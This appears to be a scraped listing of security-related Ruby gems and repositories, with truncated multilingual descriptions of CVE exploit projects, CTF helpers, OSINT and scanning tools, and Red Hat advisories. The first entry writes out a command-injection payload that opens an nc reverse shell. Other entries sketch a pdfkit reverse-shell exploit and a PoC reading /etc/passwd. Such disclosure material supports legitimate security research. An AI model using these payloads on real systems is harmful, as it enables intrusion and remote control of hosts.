CVE-2022-36231

CVE-2022-36231 루비 젬 pdfinfo /dev/null initialize 메서드와 마찬가지로 @pdfpath 변수에는 검증이 수행되지 않습니다. 이를 통해 ;를 사용한 명령 체이닝으로 임의의 명령을 실행할 수 있습니다. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 위 코드 조각은 포트 4444의 127.0.0.1로 리버스 셸을...

ctf-party

ctf-party Что это такое Инструмент CLI и библиотека для улучшения и ускорения написания скриптов и эксплойтов для участников CTF или исследователей безопасности, охотников за багами, пентестеров, но в основном ориентированы на CTF. Это достигается путем патчинга класса String для добавления...

deadfinder

Find dead-links broken links Documentation • Installation • Github Action • Contributing • Changelog Dead link broken link means a link within a web page that cannot be connected. These links can have a negative impact to SEO and Security. This tool makes it easy to identify and modify. Looking f...

pastenum

Pastenum Pastenum은 텍스트 덤프 열거 도구입니다. 공개 사이트에 게시된 데이터 덤프와 dox를 찾고 열거하는 데 도움을 주도록 설계되었습니다. 현재 github.com, gist.github.com, pastebin.com, pastee.org, pastie.org 사이트를 검색합니다. Pastenum은 2011년에 출시된 nullthreat의 원본 pastenum2를 gem으로 다시 작성한 것입니다. 코드 상태 설치: Ruby 1.9. 설치 RubyGems 설치 gem install pastenum 문제 해결:...

CVE-2021-33564

CVE-2021-33564 PoC CVE-2021-33564 Dragonfly Ruby Gem의 인수 주입에 대한 익스플로잇 스크립트. 사용법 임의 파일 읽기 python3 poc.py -u https:///system/refinery/images -r /etc/passwd 임의 파일 쓰기 python3 poc.py -u https:///system/refinery/images -w public/test.txt -c test.txt -lu http:// 자세한 내용은 블로그를 방문해 주세요...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Эксплойт-Обратная-оболочка pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Через CURL измените значения жирным шрифтом: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

seccomp-tools

Seccomp Tools Мощные инструменты для анализа seccomp. Этот проект ориентирован в первую очередь но не исключительно на анализ seccomp-песочниц в CTF-задачах категории pwn. Некоторые функции заточены под CTF, но они не менее полезны и для анализа seccomp-фильтров в реальном мире. Возможности Dump ...

mihari

mihari Агрегатор запросов для охоты за угрозами на основе OSINT. Mihari позволяет объединять несколько поисковых запросов по разным сервисам в одном правиле и сохранять результаты в базе данных. Mihari по умолчанию поддерживает следующие сервисы: Censys CIRCL passive DNS / passive SSL crt.sh...

vbsmin

VBSmin Минификатор VBScript Возможности ⬜️ Удаление лишних пробелов Пробелы в конце строк Пробелы в начале строк Пустые строки Лишние пробелы внутри строк 💬 Удаление комментариев Одинарная кавычка в начале строки Одинарная кавычка в строке REM 1️⃣ Однострочный режим Разделение строк подчеркивание...

hoper

Hoper Показывает все промежуточные точки hops, которые проходит указанный URL, чтобы достичь конечного адреса. Например, если вы хотите увидеть весь путь, пройденный URL из письма или сокращённую ссылку. Hoper возвращает все перенаправления URL. Установка $ gem install hoper Использование Введите...

declarative-policy

DeclarativePolicy: Декларативная библиотека авторизации Эта библиотека предоставляет DSL для написания политик авторизации. Она может использоваться для отделения логики от прав доступа и применяется в production в масштабе GitLab.com. Оригинальным автором библиотеки является Jeanine Adkisson, а...

aws_public_ips

awspublicips Содержание Для чего это нужно Быстрый старт Справка по CLI Конфигурация Разрешения IAM Журнал изменений Вклад в проект Связь Для чего это нужно awspublicips — это инструмент для получения всех публичных IP-адресов как IPv4, так и IPv6, связанных с учётной записью AWS. Его можно...

heroku-CVE-2013-0269

heroku-CVE-2013-0269 Проверьте все ваши приложения Heroku на наличие уязвимой версии JSON Общие сведения Обнаружена уязвимость безопасности в Ruby-геме JSON. Это основная причина недавно объявленной проблемы с внедрением MySQL в Rails. Доступна новая версия гема JSON. Разработчики могут получить...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit용 익스플로잇 - 명령 삽입 이 저장소가 마음에 드시나요? ⭐를 남겨주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 저자 @UNICORDev 제작 @NicPWNs 및 @Dev-Yeoj 취약점 설명 pdfkit 패키지0.0.0부터는 URL이 제대로 삭제샌니타이즈되지 않아 명령 삽입Command Injection에 취약합니다. 익스플로잇 설명 루비 젬 pdfkit은 웹사이트 또는 HTML을 PDF 문서로 변환하는 데 일반적으로 사용됩니다. 이 소프트웨어의 취약한 버전...

legacy-rails-CVE-2020-5267-patch

legacy-rails-CVE-2020-5267-patch Rails 4 및 Rails 3를 위한 CVE-2020-5267 패치입니다. Rails를 업그레이드하는 것이 확실히 더 좋지만, 그동안 이전 버전의 Rails에 머물러 있어야 한다면 이 패치는 보안 권고에 명시된 몽키 패치를 제공하며, gem으로 패키징되어 테스트되었습니다. 설치 해당 줄을 애플리케이션의 Gemfile에 추가하세요: gem 'legacy-rails-CVE-2020-5267-patch' 그런 다음 실행합니다: $ bundle install...

inspec_cve_2019_15224

악성 rest-client gem 2019년 8월 19일, rest-client gem에 악성 코드를 포함한 여러 버전이 게시된 것이 발견되었습니다. 악성 rest-client를 발견하는 과정에서, 몇몇 다른 새로운 gem들도 유사한 코드를 포함하고 있는 것으로 확인되었습니다. 관련 보도: https://www.securityweek.com/backdoor-found-rest-client-ruby-gem https://www.theregister.co.uk/2019/08/20/rubygemhacked/...

Important: Red Hat Security Advisory: ruby security update

An update for ruby is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

resolv: resolv gem: Denial of Service via uncontrolled memory growth from crafted DNS responses

A flaw was found in the resolv gem. An attacker controlling DNS responses e.g., a spoofed response or a malicious upstream DNS server can exploit this by sending crafted DNS responses containing many distinct unknown DNS resource record pairs or SvcParamKeys. This leads to uncontrolled memory...

ssllabs.rb

ssllabs.rb Qualys SSL Labs 서버 테스트를 위한 Ruby gem입니다. API 참고 사항 SSL Labs API 문서에 설명된 모든 API 객체는 네이티브 Ruby 객체로 노출됩니다. 속성은 "밑줄underscore" 형식의 이름으로 접근합니다. 즉, endpoint.hoststarttime은 API 응답의 hostStartTime 필드를 반환합니다. 모든 불리언 속성에는 ? 기호가 접미사로 붙습니다. 따라서 endpoint.vulnbeast?는 API 응답의 vulnBeast 필드를 반환합니다. 각 요청이...

ssh_scan

sshscan Сканер конфигурации и политик SSH ⚠️ Уведомление об устаревании ⚠️ Mozilla больше не поддерживает проект SSH Scan. Пожалуйста, сделайте форк, чтобы продолжить разработку. Ключевые преимущества Минимальные зависимости - Использует нативные Ruby и BinData для работы, без тяжелых...